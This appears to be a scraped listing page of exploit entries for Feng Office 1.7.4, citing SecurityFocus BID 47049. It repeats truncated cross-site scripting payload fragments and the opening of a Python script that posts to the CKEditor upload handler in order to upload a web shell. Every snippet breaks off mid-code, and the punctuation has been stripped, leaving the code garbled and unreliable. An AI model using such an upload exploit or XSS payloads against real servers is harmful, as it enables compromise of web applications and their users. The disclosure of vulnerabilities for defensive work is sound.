Feng Office 1.7.4 - Cross Site Scripting Vulnerabilities

No description provided by source...

Feng Office 1.7.4 - XSS / Arbitrary File Upload Exploit

Exploit for php platform in category web applications Source: http://www.securityfocus.com/bid/47049/info alert0" / alert0" / --------------------------------------------- Feng Office 1.7.4 - Arbitrary File Upload --------------------------------------------- import socket host = 'localhost' path...

Feng Office 1.7.4 - Cross-Site Scripting

Feng Office 1.7.4 - Cross-Site Scripting source: https://www.securityfocus.com/bid/47049/info alert0" / alert0" /...

Feng Office 1.7.4 - Cross-Site Scripting

source: https://www.securityfocus.com/bid/47049/info alert0" / alert0" /...

Feng Office 1.7.4 - Arbitrary File Upload

import socket host = 'localhost' path = '/fengcommunity' shellpath = '/tmp' port = 80 def uploadshell: s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connecthost, port s.settimeout8 s.send'POST ' + path + '/public/assets/javascript/ckeditor/ckuploadhandler.php HTTP/1.1\r\n' 'Host:...